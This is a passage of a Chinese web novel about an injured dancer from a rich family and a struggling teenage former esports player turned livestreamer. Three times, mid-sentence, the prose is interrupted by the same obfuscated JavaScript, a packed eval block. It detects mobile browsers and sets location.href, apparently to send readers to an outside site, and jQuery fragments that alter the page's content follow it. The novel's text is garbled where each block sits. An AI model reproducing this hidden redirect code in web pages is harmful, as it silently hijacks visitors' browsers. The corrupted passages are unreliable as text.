“就算只是为了赚钱,又有什么错?”周唯见看着姐姐的眼睛说,“林熠他们家的情况你根本想象不到,他爸妈都在外面打工,从小跟着外婆长大,他当年众叛亲离地辍学打职业,现在职业打不了,他连家都回不去了。我亲眼看到他昼夜不停地努力直播,甚至还带了什么猫耳朵……他赚钱只是为了留下来、活下去,这有错吗?” “当年你为了坚持跳舞,不要爸给的生活费时,那个时候的你会觉得靠自己努力赚钱很丢人吗?” “那林熠又有什么不一样呢?” …… 周唯见已经上楼有一会儿了,周月白还在客厅里,思索着刚刚听到的话。 门锁声响,是范妈回来了。 “呀,小祖宗,怎么在这坐着?”范妈赶忙脱了外套,迎到周月白面前,“楼下我开着厨房窗子通风来着,冷不冷啊?” 周月白目光落在范妈身上,看到她发丝上沾了不少水滴,手也冻得通红,她问:“范妈,外面雪下大了吗?” “可不是。”范妈一边赶忙去厨房关窗,一边说,“下午出去的时候还没开始下,这一会儿变天了,风雪都大。” 周月白推着轮椅到客厅那一面大落地窗前。 屋外狂风大雪,而她是坐在屋子里的人,室内温暖明亮,她便再也看不到屋外夜行人沾染的风霜了。 对周月白来说,失去舞蹈,失去梦想,但她还有钱,有房子,有吃有喝。 可对于有些人来说,失去梦想同时也意味着,失去全部。 9. 浓雾(04) 林熠莫名其妙挨了顿骂,心里烦躁得很。 他知道周唯见家里条件好,是在即使路上迎面遇到个人都可能非富即贵的北京,也能称之为条件好的家庭。 周月白就像所有电视剧里演的傲慢富家女一样,看待他这样如草芥般渺小的人物时,毫不掩饰地露出鄙夷和嘲讽。 其实林熠是有理由生气的,但是回到家之后紧接着还要开直播,结束时已近凌晨,给自己泡一碗红烧牛肉面的功夫还要打明天的直播公告,等缓过神来,才发现根本没时间没精力去怨恨什么了,再不睡觉天都要亮了。 原来连生气都是穷人不配拥有的情绪。 纵使午夜梦回时,他梦见时间回到打比赛那天,在面对周月白时他能潇洒地将打比赛赢来的一万三砸在对方脸上,真解气啊。 可等醒过来他又意识到,他舍不得,而且这钱是网银转账,砸不了人。 不管怎么说,这笔钱让林熠又能在这里多撑几个月了。 而且也不是没有好消息的,因为上次比赛时的表现,林熠在附中一带可谓一战成名,再加上当时那几个队友和观众们的宣传,他的直播间现在可比以前热闹多了。 - 周月白和周唯见这一架吵完,沉寂了好几天,倒不是还生气,只是有点说不清道不明的羞愧。 时运不济,她失去舞蹈,可以怨天尤人,但迁怒别人显然不是她的做派。 想来想去,周月白还是觉得应该补偿一下林熠。 于是几天后的晚上八点,她准时出现在了林熠的直播间。 林熠正在玩游戏,看到进入房间的ID,丝毫没有掩饰地皱起了眉。 周月白心里想:果然是小孩儿,讨厌她讨厌得这么直接,装都不装一下的。 一边想着,手上的动作却没停,充钱刷礼物一气呵成,连着砸进去十个648才停下思考这些够不够,要不要再刷一点。 这功夫,林熠竟然偷偷腾出手给她发了条私信。 【前职业选手林熠:不用给我刷礼物了。】 【前职业选手林熠:给我个收款方式,等我提现到手会还给你,如果不给我就直接转给周唯见了。】 【美短加白:?】 周月白挑衅似的在直播间又送了个礼物,随后私信回复。 【美短加白:我凭什么不能送礼物?】 【美短加白:如果我偏要送呢?】 系统提示:你已经被主播移出直播间。 周月白:靠! 想了想刚才刷的那些钱,林熠分到手大概也没多少,她难得想要跟人道歉一次,就这样未免有点廉价。 正好这时,北栀看她在线,给她发消息说:“在线怎么不来看我?今天cos悠米哦~” 周月白其实并不知道她cos的是什么,只是正好空闲,顺着她的头像直接就点进了直播间。 屏幕里的北栀并没穿什么特殊的服装,只是搞了条金色金属带毛绒流苏的项链,米色抹胸丝绒连衣裙,头上戴了个粉白相间的猫耳朵。仅仅如此都惹得直播间内的宅男流水般刷着礼物。 周月白也发了两个小礼物,刚想退出,她的手顿住,眼神落在猫耳头饰上,忽然就想起前两天周唯见说的话—— 林熠为了赚钱,也戴了这样的猫耳朵吗? 那个干干净净,气质沉静的少年,如果不是退无可退,也不会如此吧。 周月白叹了口气,就当是替弟弟感谢他,好人做到底吧,她想。 她打开微信给直播中的北栀发了条消息。 【周月白:栀栀,有个叫前职业选手林熠的主播,你一会儿去看看吧。】 北栀是颜值主播,平时不怎么玩游戏,手机是空闲的,很快就回复了。 【北栀:?】 【北栀:谁啊这是?你看上的小主播?】 【周月白:我弟的同学。】 【周月白:别瞎说,人家才18。】 【北栀:18?正是好时候啊!】 【北栀:我去看看!】 直播屏幕里,北栀嗲嗲地说:“有点无聊哦,我们去查个房吧~听说最近有前职业选手入驻z站了呢。” 电脑上搜索周月白刚告诉她的名字,很容易就找到了这个直播间。 周月白顺着北栀的直播界面,又一次看到了林熠的脸,他仍安安静静地打着游戏,有点长的额发还没修理,倒显得有种日系美男的范儿。 她又一次意识到眼前的少年的的确确有一张过于出众的脸。 因为微信里北栀连续发了好几条消息。 【北栀:哇!救命!】 【北栀:好帅啊!好有少年感!】 【北栀:游戏也打得好好!】 【北栀:真不是你看上的?那我可以下手吗?】 【北栀:他是你弟同学那我要是得手了是不是得叫你姐了?】 【周月白:随便你。】 【周月白:把他带火就行。】 说完又有点认真地补充了一句。 【周月白:这个孩子挺不容易的,你多帮帮他。】 【北栀:我的粉丝大多都是宅男,估计也没多大用吧……】 【北栀:要想帮他你直接找你爸多好,给个推荐位再从网上运作一下,保准能红啊。】 【周月白:……】 【周月白:没那个必要。】 北栀已经习惯了一跟周月白提到她爸爸,她就会立刻开始冷漠模式,也没在意,继续看帅弟弟直播去了。 - 林熠今晚倒是大吃一惊。 直播间人数第一次破了千,还有不少人刷礼物。其中一个叫桃子栀的观众一个人就刷了小一千。 从公屏上飘过的弹幕看来,这个桃子栀似乎还是位大主播,房间里有不少人都是看她直播被带过来的。 对方主动关注,他也不敢怠慢地回关了。一局游戏打完的空档,他看到对方在公屏给他发了条弹幕。 【桃子栀:hi~】 【桃子栀:主播带水友打游戏吗?】 房间里的人数还在上升,林熠有点腼腆地说:“可以啊。” 其实他还从来没带女生一起打过游戏,听到队伍语音里传来清甜软糯的声音,多少有些不自在。 他话很少,除了帮北栀报点就是叫上她跑毒。 北栀也很少见这样的主播,不会说骚话也不开女主播的玩笑,真就将她当作普普通通的一个队友,不指望她能跟他并肩作战,但却因为同处一个阵营而肩负起保护和携手的责任。 这让北栀意外之余,又有些惊喜。 她知道的,很多技术厉害的男主播,嘴上说着喜欢带妹,其实都是为了制造点话题来炒作,把女生当个吉祥物,当个躺赢的混子,心里高高在上地觉得他们自己要比女生厉害多了。 本来是受人之托来帮忙,几局游戏打完,她倒是真心实意地又刷了一波礼物,在公屏说了句:主播很厉害啊,以后会常来找你玩的~ 林熠挠了挠头,笑着说:“多谢支持。” 这一晚上林熠涨了几百个粉丝,礼物加起来收了小一万,陈思睿都啧啧称奇,感叹他遇到贵人,就快混出头了。 提起这贵人,林熠突然想起来,这些钱里还有周月白刷的,他说了要还给她的。 第一次是两千多,今晚这次是七千,提现八成再多加点凑个整,一共七千七百块,对林熠来说不是小数目,陈思睿在一旁说:“她给你刷钱是她自愿的啊,你也没逼她,这钱你直播赚来的,有什么不能收的?” 林熠抿紧嘴唇,倔强地说:“这钱我要是收了,我自己都瞧不起自己。” 陈思睿:“不至于吧……她不是很有钱吗,也不差这点,可能就是知道自己上次说你说错了想弥补一下呗。” 林熠垂眸看着手机屏幕上的金额,平淡地说:“我只是希望她明白,这世界上不是做了什么错事都能靠钱弥补的。” 打开周唯见的聊天对话框,他把钱转账给对方,附上一句话:你姐姐来我直播间刷了两次礼物,我知道是你想帮我才让她来的,你的好意我心领了,但不能收你的钱。我只能提现80%,麻烦你帮我转交给她,顺便告诉她,不必再来。 夜已经深了,周唯见都准备睡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621113|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,收到这条没头没脑的消息,立刻回复。 【周唯见:啊?我没让我姐去给你刷过礼物啊?什么时候?】 【林熠:大概一周前刷了一次,今晚又刷了一次。】 心头疑惑,周唯见一下子不困了,蹭蹭跑到周月白房间门口,敲了敲门,小声问:“姐,睡了吗?” 周月白开门,看见门口的弟弟,说:“还没,进来吧。” 这还是两人吵架后第一次说话。 上次吵得太过火,周唯见一直也没道过歉,既不好意思低头,又不好意思冷战,只能避重就轻直奔主题。 周唯见挠了挠头说:“林熠给我转了七千多,说是你给他刷礼物的钱,还非说是我让你去的,怎么可能,我都不知道,你什么时候去看他直播了?” 周月白有点头疼:“哦,上次你跟我说你同学做直播那天,我好奇去看了一眼,再然后就是今天晚上。” “你摔倒那天?” “对。” “那天你不是也很难受,怎么会去给他刷礼物?”周唯见有些茫然地说,“而且那时候,连我不知道他有那么辛苦。” 他本来以为职业选手出来做主播,一定是签了很不错的条件,也应该会很赚钱,所以直到亲眼看到他带着猫耳发卡被发现时仓皇逃跑的模样,才知道他过得并不好。 周月白的眼光明净清澈,微微笑着说:“可能就是因为那天我太难受,所以反而能看出来,那时候的他,跟我一样不好过。” 周唯见张了张嘴,声音有些发涩:“那你说这个钱我收吗?还是退回?” “你收着吧。” 以林熠的性格,这个钱周唯见如果不收,他可能会跑到他学校去给他。 正在这时,微信蹦出条消息。 【北栀:555555这个小孩儿真可爱啊!】 【北栀:呆萌呆萌的,游戏又打得这么厉害,今天一直保护我来着,把把吃鸡!】 紧接着是一张微信聊天截图,北栀跟他打招呼,夸他游戏玩得好,他很生涩地一个劲儿感谢。 周月白一下子就想起当初她刷了个礼物,镜头里的男孩露出一个十足惊喜意外但又害羞生涩的表情。 【北栀:你真没啥别的想法吧?那我冲了?】 【周月白:不好吧。】 【北栀:怎么呢?】 【周月白:就一小孩儿。】 周月白关上聊天页面不想再闲聊,今晚一堆事早已经错过了美容觉时间。 一旁站着的周唯见还没走,周月白抬头看他:“还有什么事?” 周唯见小声说:“林熠让我转告你,说让你以后别去看他直播了。” …… “知道了。” 无语,随便加网友微信,还跟别人这么可爱,对她就这么冷漠? “姐……”周唯见不好意思地说,“对不起,我不该跟你吵架的。” 周月白微愣,她知道这件事她有错,只是一如以往,像小时候抢玩具,像打碎个花瓶,所有她犯错的事情,最终等来的都是周唯见的道歉。 “这件事我也有错。”周月白露出一个笑,原本死气沉沉的墨发雪肤因为生动的表情而变得分外好看,“你放心,我会想别的办法弥补。” - 林熠跟陈思睿一起外卖了一顿烤串儿当宵夜,躺到床上都已经凌晨了。 他打开手机,有几条新消息。 【周唯见:[已收款]】 【周唯见:对不起熠哥,上次我姐那么说你,我替她跟你道歉。】 【周唯见:不过礼物真不是我让她刷的,你不知道,她这个人从来不跟人低头的,或许刷礼物是她在用自己的方式跟你道歉。】 【周唯见:另外我才知道她一周前去看过你直播,那天她腿伤摔倒,是我恰巧回家把她扶起来的,我从没见她哭得那么伤心过。 她的原话是,因为她那时候太难过,所以能看出来,你和她一样不好过。】 林熠很平静地看着最后那句话,等到屏幕自己变暗,熄灭,满室黑暗和寂静。 眼角濡湿,可能是困的。 10. 浓雾(05) 日子照常前进,北栀连续一周时间差不多都在查房林熠,偶尔刷点礼物让他陪着玩游戏。可也确实如她所说,她的粉丝大多都是男粉,对男主播并不感兴趣。 林熠这一周来除了收获两千粉丝以外,也没真收到太多礼物,要论直播人气,也是被众多主播远远甩在了后面。 周月白有点恨铁不成钢,她心里清楚,林熠实力颜值都不差,但就是太清高,不屑于做一些哗众取宠的事。 其他主播擅用PK的方式引流,他却从来不做,甚至只要一和人连线就变得话很少,不知道是少年人的腼腆还是玩游戏太认真无法分心。 没办法,照这样下去,再让北栀帮忙也不行,她是个颜值主播,跟男主播交往过密对他们两个都没好处,周月白也不能为了帮林熠坑了自己的好友。 思来想去,当初北栀随口提的那个建议,确实是最简单有效的。 周月白回家以来,终于第一次在早餐时间下了楼,周廷正在吃饭,见她下楼,表情微变,又继续看报纸去了。 倒是范妈最开心,觉得她这是准备跟父亲缓和关系了,赶紧准备了她的碗筷:“来,今早煮了牛奶百合燕麦粥,你也喝一碗。” 周月白移动到桌边:“谢谢范妈。” 周廷一抖报纸,将其折起,清了清嗓子:“早就应该这样,不吃早饭身体能好吗。” 周月白在一边用勺子和弄着粥,浅浅尝了一口,香甜醇香,味道不错。但是有事要说,她喝了两口就搁下勺子:“今天您去公司吗?” “嗯,今天下午还有个会要开。” “带我一起去吧。” 周廷的目光移到周月白脸上,她垂着眸,看不出心思:“给个理由。” “周唯见有个同学签约到你们公司了,但一直不温不火,我想见见他那组的负责人,看能不能帮帮他。” 这话冠冕堂皇,周廷语气有明显的不信任:“哦?唯见的同学,你来找我说?” 周月白抬头看了他一眼,撇撇嘴:“我无所谓,你不让我去就算了,也不是什么大事儿。” 周廷看了一眼手表,利落地说:“我二十分钟后出门,你换衣服要抓紧了。” 说到底,不管是为了什么,他是很乐于见到女儿愿意出门,不再整日囿于受伤后的困顿之中的。 - 车子从别墅区驶入寸土寸金的CBD,周廷的公司就在这里。近年来直播行业发展得越来越好,他的工作也越来越忙。 周月白的伤需要修养满三个月的恢复期,现在仍然要靠轮椅出行。周廷没让司机推,亲力亲为推着周月白进了大楼。 大家一边打着招呼说“周总好”,一边悄悄议论轮椅上的漂亮女人是谁。 只有老员工才知道周月白,她在和父亲决裂前经常来公司,公司里的几只猫也是她养的。 周廷一到公司就忙去了,让秘书推着周月白去了直播部,她哪能真让秘书陪着闲逛,随便找个借口便叫他回去忙了。 周月白自己缓缓推着轮椅,一眼就看到了窗边猫别墅里的猫,正在阳光下懒懒地舔着毛,一眼也没分神,早已经不认识她了的样子。 周月白轻唤:“芝士。” 她的起司猫,懒得起名就直接叫芝士。 猫咪抬头看了她一眼,继续舔毛。 身后有人问:“它叫芝士吗?” 其实单凭这个背影,林熠已经认出来周月白了,他认识的坐着轮椅的人就她一个,何况她今天束了个高马尾,露出一截白色纤长的脖颈,辨识度实在很高。 周月白回头,见到是林熠,问他:“来公司做什么?” 转过头来林熠才看见,她穿米黄色高领粗针织毛衣,化了淡妆,比上次在网吧遇见看起来更光彩夺目了。 “我来开会,运营说最近有大主播一直帮我互动,但是数据还是不太好,所以想约上我们一起聊聊。”林熠答完才想起来问,“你为什么会在这里?你也做直播?” 还没等周月白回答,一旁办公室就出来个人,热情地说:“不好意思周小姐,我那边刚才有个电话会,才忙完,老板说您今天过来是找我有事商量是吗?” 林熠见到来人,在一旁乖巧的叫了一声:“Lucy姐。” 现在的游戏直播组已经换了好几批人,主要负责人当年还是个新人,如今已经当上了运营总监。 她看到林熠,跟他说:“你先去会议室等一下吧,另一个主播也已经到了,我处理完这边的事情再过去找你们。” 周月白在一旁说:“不用麻烦了,一起去吧,正巧我今天也是为这件事来的。” 看林熠表情疑惑,Lucy在一旁解释道:“哦,还没跟你介绍,这位是周总的女儿,周小姐。这位是林熠,我们新签的游戏主播。” 说罢又对林熠说:“打个招呼吧。” 林熠看着轮椅上的周月白,的确是有些吃惊。他知道她是富家女,却没想到跟自己的生活如此贴近,却又如云泥之别。 “周小姐,你好,我是林熠。” 好像是第一次在她面前正式地自我介绍。 “你好。”周月白目睹林熠一时有些没反应过来的样子,居然有点被取悦到,目光转向一旁的Lucy说:“不用这么拘谨,按公司里的习惯,大家叫我英文名Cynthia吧。” 这个乍一听有些拗口的英文名,林熠并不像露西那样可以直接想到拼写,英文水平到底还是有限,他心里回放了两遍,记住了读音。 会议室里,北栀正坐在桌前补妆,看到周月白进来,惊喜地跳了起来:“月白,你怎么来了?” 北栀是周月白舞团的同伴,从高中起两个人关系就一直很不错。北栀家里也不缺钱,只是父母管得严,典型书香门第,不许北栀装扮得太浮夸,可偏偏她又是个时尚弄潮儿,大学里跟周月白一起接了不少商演赚钱,周月白是为了生活,北栀是为了买奢侈品。 后来有阵子北栀到处奔波太累病倒了,周月白于心不忍,让周唯见去跟周廷说了声,介绍她来自家平台当主播,资源和推荐都给了不少。 北栀蹭到周月白身边,关切地看了看她的腿,得到没有大碍的答复后,打趣道:“小没良心,当初在医院谢绝探视,回到家也不跟大家说话,好不容易找我一次还是让我帮别人的直播艹热度,我还以为你这个冬天都不会出门见我了呢。” 一旁的林熠显然听到了这句话,身子一僵。周月白轻咳了一声,像在掩饰:“可别冤枉我啊,明明是你大主播太忙了,之前哪次聚会叫出来过你。” 北栀扁扁嘴:“可真会挑理,其他人约我当然没空,你约我我哪次没去过?” 林熠坐在一旁静静看着两个女生寒暄,才知道她们俩关系熟稔,而那个女生显然就是Lucy姐之前和他说的,跟他互动颇多的大主播桃子栀。 原来又是周月白帮忙。 好不容易还了钱,又欠了人情,这要怎么还。 正沉思的功夫,露西姐已经带着她们组里一个运营策划一起来开会,周月白听完为两位主播制定的营销方案,微不可察地皱了皱眉。 “不合适吧,北栀是二次元美少女人设,粉丝画像能明显看出,百分之八十以上都是二十岁到四十岁的男性,而这一部分群体跟林熠直播的受众其实重叠度不高。当初是我欠考虑,但继续捆绑下去对两个人都不好。” 露西微微思索,客观道:“不过这个年纪的男生,其实也是电竞赛事和游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621114|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直播的主要观众群体了,很符合他前职业选手的人设。” 周月白又看了眼林熠,他低着头翻阅打印出来的PPT,背挺得很直,目光很专注,和当时在网吧中打游戏的样子有些相像。这样的颜值,真的只能吸引游戏区的观众吗? 她合上文件夹,看着林熠说:“如果把受众指向女性,营销一下颜值、经历和游戏水平,有没有可能超越站内大部分颜值男主播?” 林熠抬起头,眨了眨眼。 露西盯着林熠看了一会儿,拍了板:“倒是可以一试。” 周月白歪着头想了想,很轻松地说:“那,下周末两天的开屏,颜值区游戏区双区推荐位,再加个礼物活动。微博上再找几个粉丝量80~120w左右的游戏博主和女性情感博主发几篇推文。” 露西有点为难地开口:“会不会有点太多了。” 她话只说一半,因为当事人在现场就没说白。实际上的意思就是,以林熠目前的咖位和带给公司的收益,实在不值得投入这么多。 虽然当初她签约林熠也是看中了他职业选手的经历和出众的外型,但这段时间的直播看下来,他并不是很适合当主播。 周月白听出话里有话,但心意已决,只笑着看她:“Lucy姐,他是我弟同学,我替他承诺,不会让你失望的。” 露西听到这话,多少也明白了,既然是关系户,领导女儿自负盈亏,她自然不会再反驳:“好的,那我先去跟大家做一个详细方案,然后再发您再看一下。” “对了,Lucy姐,方案里再加一组宣传照吧,开屏广告还是要好看一些。”周月白很是和气地说,“辛苦了,下午我请大家喝奶茶。” “哪有,应该做的。” 露西出去之后,林熠也被他的运营叫出去谈话了。北栀跟周月白重启暌违已久的闺蜜谈心环节,很是愤愤不平地说:“你听说了吗,林巧这次庆功宴要办在丽思卡尔顿,排场搞得够足的。” 周月白微愣:“什么庆功宴?” “你不知道?”北栀找出林巧那条朋友圈,举到周月白面前,“我还以为你早看见了。” 照片里林巧穿着精致纱裙,姿态优雅,舞台的灯光闪耀夺目,显得她整个人也光彩熠熠。配文是一句:演出圆满结束啦,纽约之旅十分美好,感谢舞团的小伙伴~ 这条朋友圈周月白并没刷到过,看来是林巧屏蔽了她,舞团几十个人都在瞒着她。 北栀还在替好友说话:“不知道炫耀个什么劲儿,明明是你把位置让给她的,居然还专门屏蔽你,阴阳怪气的。” 周月白看着屏幕,问了句:“你知道庆功宴的时间地点?” “知道啊。” “待会儿发我微信吧。” 北栀瞪大眼睛:“不是吧,你去给她捧什么场啊?” 周月白低头看着自己的腿,神色看不出喜怒:“她应该是不想让我去吧,可我凭什么不能去呢。” - 周月白出了会议室,正好撞上刚跟运营谈完话的林熠。 仅仅点头致意,她心情烦乱,连寒暄的精力都没有,只想快点回家。 偏偏廊中有一个小门槛,周月白的力气不够,轮椅卡在那里没推过去。她皱了眉,正想用力再试一次,身后却传来助力,轻巧地将她推过去。 林熠的声音很清澈,从她身后传来:“谢谢你帮忙,真心的。” 周月白回头看他,笑得轻轻浅浅,手指缠弄着毛衣上的飘带,漫不经心地说:“那要不,你也帮我一个忙吧?” 阳光太好,照在她身上,整个人像是镶了一圈毛绒绒的金边,林熠看得有点出神,反应过来时,才发现自己已经点了头。 太难拒绝了。 11. 初霁(01) 林熠回到家躺在床上望着天花板发呆时才想明白,自己当时应该是被周月白迷惑了。 她莹润的指尖穿梭在丝带中,每一下都好像划拉在他喉咙口,痒痒的,他本来想问“要帮什么忙?”,可到最后说出口的,却是“好”。 如果他知道这个忙是陪伴她出席朋友的宴会,他大概会分出仅剩的理智来拒绝吧。 林熠懊恼地用枕头捂住了脸,眼前却止不住地回想起那个场景。 周月白当时的眼神,让人觉得她就像一件玻璃工艺品,看起来流光溢彩,但好像轻轻一句拒绝,就能将她弄碎。 他怎么抵抗得住呢。 林熠自以为的每一次幸运降临,真相都是周月白的帮助。 划开手机屏幕,微信上列表里赫然是周月白的头像,她的五官柔和,浅淡着色,最生动的是玫瑰色的玻璃唇。 她的微信名叫作Cynthia,林熠搜索了一下,才知道这个名字有月亮女神的意思。 真适合她,索性直接这样放着,没有改备注。 对话框里空荡荡,只有一句“我们已经是好友啦,一起来聊天吧!” 林熠从床上坐起来,抱着抱枕,打了行字发过去。 【Yee:时间地点。】 【Cynthia:这周末下午两点。】 【Cynthia:我会叫司机去接你。】 林熠在对话框打上地址,还没发,忽然又收到一句。 【Cynthia:我知道你地址,合同里有。】 像陈思睿爱看的电视剧里那种霸道总裁的行径和口吻,林熠有点想笑,回复了个OK的表情。 等到了那一天,一辆白色卡宴停在林熠住的小区门口。他上车前还对着光可鉴人的玻璃窗整理了一下发型,拉开车门才发现,车上只有司机一个人,不知道是失落还是轻松。 前一天晚上直播到深夜,几乎是一上车林熠就开始犯困,暖气开得太足,让他的面色有些泛红。直到司机停车叫醒他,他才看到窗外的独栋别墅,门前的小喷泉已经结冰,今天太冷了。 林熠下了车,跟着司机走进房子。 周月白在一楼大厅里做造型,她对今晚的出席很重视,生怕稍有破绽就会落了下风,还很夸张地请来了一位化妆师。 林熠进门时先是注意到头顶的水晶吊灯,然后就是已经化完了妆正在做头发的周月白。 两个都是极耀眼夺目的,不分伯仲。 愣神这片刻,周月白的目光也扫了过来,秀气地拧了拧眉:“这……” 她不知道林熠为什么明明长一张足能出道的脸,却每次都穿得这么潦草,可当着人家面到底是没把心里话说出来,只说了句,“也太显小了。” 跟之前两次见到林熠的时候一样,他一直穿着连帽卫衣,刘海垂在额头前,一看就是个稚气未脱的学生。 “林熠,你先坐。”周月白指着沙发招待他,一边却看了眼时间,从桌上拿起手机打电话:“程杭?在家?过来我家一趟。” 电话里的人似乎就住附近,没一会儿就到了。 林熠抬头打量了一下,看起来二十出头的男生,穿一身logo看起来很眼熟的休闲装,表情懒懒散散,姣好的五官中最醒目的是一双桃花眼,一进屋就冲着周月白走过去,熟稔地说:“大小姐,叫我来干嘛啊?” 两人似乎是老朋友了,周月白寒暄客套的眼神都没给,直接指着坐在沙发上的林熠,冲程杭说:“给你一个半小时,带他去换身衣服做个发型,再把他帅气地送回来。” 程杭的目光落到林熠身上,挑着眉问:“这是?” 周月白继续做头发,随意地说:“林熠,今晚要陪我去个聚会。” “今晚?舞团那个庆功宴?”程杭眼光闪了闪,很深情地说,“不找我陪你去就算了,还要帮你打扮别人,你这样让我很受伤啊。” “少贫,快去。” “得,遵旨。” 说罢程杭将手里的外套一甩,手指勾着挂在肩上,走到林熠面前,冲他说:“咱们走吧。” 林熠有点不自在,点点头,系上自己的外套拉链,跟着程杭走出门。 - 这次没坐周月白家的车,路边停一辆跑车,程杭坐上驾驶座,林熠安静地跟上去坐在一旁,系好安全带。 车子启动后,程杭随意地冲他说:“你多大了?” 林熠回答道:“十八。” 对方有点惊讶地挑眉,表情有点复杂。 林熠忍不住补充了一句:“我是周唯见的初中同学。” “哦,还在上学?” “没有,之前在打职业,后来战队解散了,现在在做游戏主播。” “哦……” 这之后程杭就没怎么说话,让林熠感受到微妙的尴尬,似乎对方对自己毫无好奇心。 车停在商场负一层,两人坐电梯直奔二层的男装店。 程杭轻车熟路搭了几套衣服,仅仅目测一下就选了合适的尺码给林熠让他去试。 林熠以前从没穿过正装,从前是上学,后来去打职业,从没经历过什么正式场合。如今穿上衬衫西装,他看着镜子里的自己都有些陌生。 十八岁的少年已经蹿到了一米八五,虽然平日缺乏锻炼让他显得有些单薄,但身量仍撑得起衬衫西装,程杭挑选的尺码刚刚好,连袖长都不差分毫。 换了两三套,程杭就拍板定下了其中一套,跟柜员递出了自己的银行卡。 林熠刚想阻拦,就听到店员说出吊牌上的金额,他暗暗咂舌,最终还是伸手拦住程杭:“我来吧。” 总不好意思让程杭出这个钱。 程杭笑着看他,递卡的手却没停,交到了店员手里,顺畅地刷了卡:“小朋友,别担心,这钱我会让周大小姐给我报销的。” 林熠讪讪松开手,心里有点不舒服。 不知道是因为程杭随随便便刷卡买一件五位数的衣服,还是因为在他和周月白面前,林熠的的确确只是个小朋友。 走出服装店,程杭安排道:“走吧,咱们去楼上做造型。” 林熠跟在他身后冷不丁地说:“可以不去吗?” 程杭停住脚步,回头看他。 林熠直视他:“我觉得我现在这样挺好的,没必要做造型。” 他有点孩子气的倔强,被挫伤的自尊心汹涌叫嚣,不想就这样被人摆布。 一旁是家饮品店,程杭指了指商场休息的长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621115|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅:“我有点渴,去买杯喝的,你先坐那等会儿好吗?” 林熠点点头,坐到椅子上,没一会儿程杭就端着两个纸杯回来了。 递到林熠手心里的是一杯热饮,暖洋洋的,喝了一口,是珍珠奶茶。 程杭突然说:“我以前不爱喝奶茶的。” 林熠有点不明所以地看着对方,不知道他为什么没头没脑地冒出这句话来。 程杭把吸管扎进杯子,嘭的一声响,他说:“不过周月白大一的时候曾经在奶茶店打过工,那时候因为她我喝了一学期奶茶。” 林熠不明所以:“大小姐体验生活?” 话一出口,才觉得带了点刺。 程杭微笑:“她没跟你讲过之前的事?” 纸杯的温度传到林熠手心,很快出了一层薄汗,他语速很快地说:“你好像误会了,我跟周月白不熟,也不是一路人,她是我同学的姐姐,之前又帮过我,这次是我还她个人情而已。” 程杭点点头:“怪不得,以她平时的做派,你肯定觉得她是那种除了花钱以外什么都不会的富二代,不用否认,以前大家基本都这么想。” 林熠没说话,表情有点微妙,他对周月白的印象才刚刚改观,但也只是从一开始傲慢无礼的富家小姐,变成了心地还算善良的一支玻璃花瓶。 很美,很易碎的东西,一眼看得到底,本就应当是空荡荡的。 程杭看他表情就明白,自顾自地说:“她大学四年所有的花费都是靠自己打工赚的。” “她父亲其实反对她跳舞,为了报考舞蹈学院,她拒绝了来自家里的一切帮助。” 林熠垂眸,摩挲着手里的纸杯,程杭问他:“你知道今晚她为什么偏偏要找你陪她去吗?” “为什么?”林熠也早就想问了,明明周月白可以不必大费周章地打扮他,她身边应该有的是像程杭这样上得了台面的朋友。 “今晚这个聚会,是她舞团里另一个人的庆功宴。”程杭的声音很平静,“如果没受伤,今晚的主角应该是她,她宁可跟家里决裂也要学舞蹈为的就是这次机会。” 林熠听得有点心惊,忽然想起当初周月白第一次出现在他直播间时,曾说过自己手上的事:“这么重要的机会,她怎么会突然受伤了?” “在外面商演的时候出了意外,她不肯告诉我们这些朋友,我也是听别人说的。” 怪不得她说——你还有重回赛场的机会,但我再也没有重回舞台的机会了。 林熠忽然就明白了那时候她言语间的寂寥是从何而来。 原来是这样一回事。 耳边是程杭说的话:“周月白其实不是你以为的那种,轻飘飘说一句喜欢跳舞就算了的大小姐。她是真的在努力实现梦想,这次受伤也是因为要赚钱攒后面的学费,继续走跳舞这条路。” “某种程度上来说,她和你是一类人。她不愿意我们这些朋友陪她去,因为她即使不在舞台上,也依然很骄傲。 所以能不能暂时放下你对她的偏见,至少今天晚上,让她能体面地跟舞蹈告个别。” 林熠猛吸了几口饮料,将空杯子丢到垃圾桶,划出一道抛物线,准准落进去。 他说:“走吧,我们去做造型。” 12. 初霁(02) 因为给叛逆小孩附加了谈心业务,程杭没能遵守之前说的一个半小时之约。周月白早已经换好礼服裙,有些焦急地频频解锁手机看时间。 她准备就绪,只待林熠回来就可以出门。 心里有说不清道不明的紧张,不请自来的宴会她还是第一次参加。 谁都不通知她,也不欢迎她,她即将穿着最华丽的战袍孤军奋战,不允许自己在众人面前有丝毫破绽。 